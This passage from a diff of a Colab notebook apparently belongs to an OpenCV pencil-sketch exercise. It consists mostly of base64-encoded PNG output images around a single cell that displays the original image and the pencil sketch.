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\n" + }, + "metadata": {} + } + ] + }, + { + "cell_type": "code", + "source": [ + "cv2_imshow(image)\n", + "cv2_imshow(pencil_sketch)" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 977 + }, + "id": "IJGUdF7Qc4s2", + "outputId": "ab98b453-8b88-4179-cfc8-02d785b44096" + }, + "execution_count": 18, + "outputs": [ + { + "output_type": "display_data", + "data": { + "text/plain": [ + "" + ], + "image/png": "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